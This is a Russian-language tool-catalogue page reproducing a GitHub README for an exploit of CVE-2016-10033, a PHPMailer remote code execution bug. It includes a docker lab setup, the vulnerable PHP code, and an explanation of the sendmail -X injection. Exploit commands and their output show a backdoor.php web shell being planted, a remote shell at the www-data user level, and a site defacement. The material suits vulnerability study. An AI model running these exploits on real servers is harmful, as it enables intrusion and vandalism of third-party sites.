Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
exploit-CVE-2016-10033 — PHPMailer < 5.2.18 远程代码执行 | Kitploit
Инструменты/GitHubGitHub/zeeshanbhattined/exploit-cve-2016-10033
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийОбучение и ОбразованиеИнструмент Удаленного ДоступаРазработка Полезной НагрузкиЛаборатории и Практика
GitHub
zeeshanbhattined/exploit-cve-2016-10033

exploit-CVE-2016-10033

PHPMailer < 5.2.18 远程代码执行

Репозиторий
1124 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

PHPMailer < 5.2.18 Удаленное выполнение кода

Docker Pulls License

PHPMailer — самый популярный в мире транспортный класс, по оценкам, 9 миллионов пользователей по всему миру. Загрузки продолжаются с высоким темпом ежедневно. Используется многими проектами с открытым исходным кодом: WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla! и многие другие.

PHPMailer до версии 5.2.18 содержит уязвимость, которая может привести к удаленному выполнению кода (RCE). Функция mailSend в транспорте isMail в PHPMailer, когда свойство Sender не установлено, может позволить удаленным злоумышленникам передавать дополнительные параметры команде mail и, следовательно, выполнять произвольный код через " (обратный слеш и двойная кавычка) в специально сформированном адресе From.

Уязвимая среда

Чтобы настроить уязвимую среду для вашего теста, вам понадобится установленный Docker, и просто выполните следующую команду:

docker run --rm -it -p 8080:80 vulnerables/cve-2016-10033

И это запустит уязвимое веб-приложение на вашем хосте на порту 8080

vulnerable

Эксплойт

Чтобы эксплуатировать эту цель, просто выполните:

./exploit host:port

Если вы используете этот уязвимый образ, вы можете просто выполнить:

./exploit localhost:8080

После эксплуатации файл с именем backdoor.php будет сохранен в корневой папке веб-каталога. И эксплойт предоставит вам оболочку, где вы можете отправлять команды бэкдору:

./exploit.sh localhost:8080
[+] Эксплойт CVE-2016-10033 от opsxcq
[+] Эксплуатация localhost:8080
[+] Цель эксплуатирована, доступ к оболочке по адресу http://localhost:8080/backdoor.php
[+] Проверка, был ли создан бэкдор в целевой системе
[+] Backdoor.php найден в удаленной системе
[+] Выполнение whoami
www-data
RemoteShell> 

И всё, у вас есть оболочка. Есть ещё один эксплойт, который иллюстрирует другой вариант использования.

./deface.sh localhost:8080
[+] Эксплойт CVE-2016-10033 от opsxcq
[+] Эксплуатация localhost:8080
[+] Цель эксплуатирована, доступ к оболочке по адресу http://localhost:8080/backdoor.php
[+] Проверка, был ли создан бэкдор в целевой системе
[+] Backdoor.php найден в удаленной системе
[+] Размещение вашего сообщения на сервере
[+] Работа завершена, выход

И если вы снова посетите страницу, вы увидите это:

defaced

Уязвимый код

До этого коммита в class.phpmailer.php в определенном сценарии нет фильтрации специальных символов в адресе электронной почты отправителя. Эта ошибка может привести к удаленному выполнению кода через функцию mail здесь.

Анализируя код, в функции mailSend() нет фильтрации

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender)) {
            $params = sprintf('-f%s', $this->Sender);
        }

$this->Sender напрямую добавляется к переменной $params, которая была отфильтрована в функции validateAddress(), но поскольку она использует спецификацию RFC 3696, она допускает определенные символы, которые могут нарушить работу. В данном случае кавычки:

В дополнение к использованию кавычек с помощью обратного слеша, обычные двойные кавычки могут использоваться для обрамления строк. Например

"Abc@def"@example.com

"Fred Bloggs"@example.com

являются альтернативными формами первых двух примеров выше. Эти формы в кавычках редко рекомендуются и необычны на практике, но, как обсуждалось выше, должны поддерживаться приложениями, обрабатывающими адреса электронной почты. В частности, формы в кавычках часто появляются в контексте адресов, связанных с переходами из других систем и контекстов; эти переходные требования все еще возникают, и, поскольку система, принимающая предоставленный пользователем адрес электронной почты, не может "знать", связан ли этот адрес с унаследованной системой, эти формы адресов должны быть приняты и переданы в среду электронной почты.

Вы можете прочитать полный RFC здесь, если хотите. Но также, если версия PHP ниже 5.2.0 и не установлен PCRE, переменная $patternselect в validateAddress() будет установлена в noregex. Это приведет к тому, что входные данные смогут избежать любой проверки регулярных выражений. Они пройдут только небольшую верификацию:

            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);

Затем поток кода переходит к функции mailPassthru(), которая, если выполняется в safe_mode, не будет уязвима для этой ошибки, как указано в следующем коде

        //Can't use additional_parameters in safe_mode
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }

Но если он не работает в safe_mode, то наш специальный параметр будет передан в mail(), и, если нам повезет, он получит наш файл, содержащий все, что мы хотим, и запишет его туда, куда мы выберем.

Примечания об эксплуатации функции PHP mail()

Эксплуатация функции PHP mail() — не новость, но она все еще жива, и люди все еще используют ее. Чтобы объяснить, как это работает, давайте посмотрим, как определена функция mail():

bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )

Существует несколько методов эксплуатации для различных результатов, мы сосредоточимся на эксплуатации 5-го параметра для получения удаленного выполнения кода (RCE). Параметр $additional_parameters используется для передачи дополнительных флагов в качестве параметров командной строки программе, настроенной для отправки электронной почты. Эта конфигурация определяется переменной sendmail_path.

Параметр additional_parameters может использоваться для передачи дополнительных флагов в качестве параметров командной строки программе, настроенной для отправки почты, как определено параметром конфигурации sendmail_path. Например, это может использоваться для установки адреса отправителя конверта при использовании sendmail с опцией -f sendmail. Этот параметр экранируется внутренне с помощью escapeshellcmd() для предотвращения выполнения команд. escapeshellcmd() предотвращает выполнение команд, но позволяет добавлять дополнительные параметры. По соображениям безопасности рекомендуется очищать этот параметр, чтобы избежать добавления нежелательных параметров в команду оболочки.

Учитывая дополнительные параметры, которые могут быть внедрены, мы будем использовать -X для эксплуатации этой уязвимости. Подробнее о параметре -X

Скачать инструмент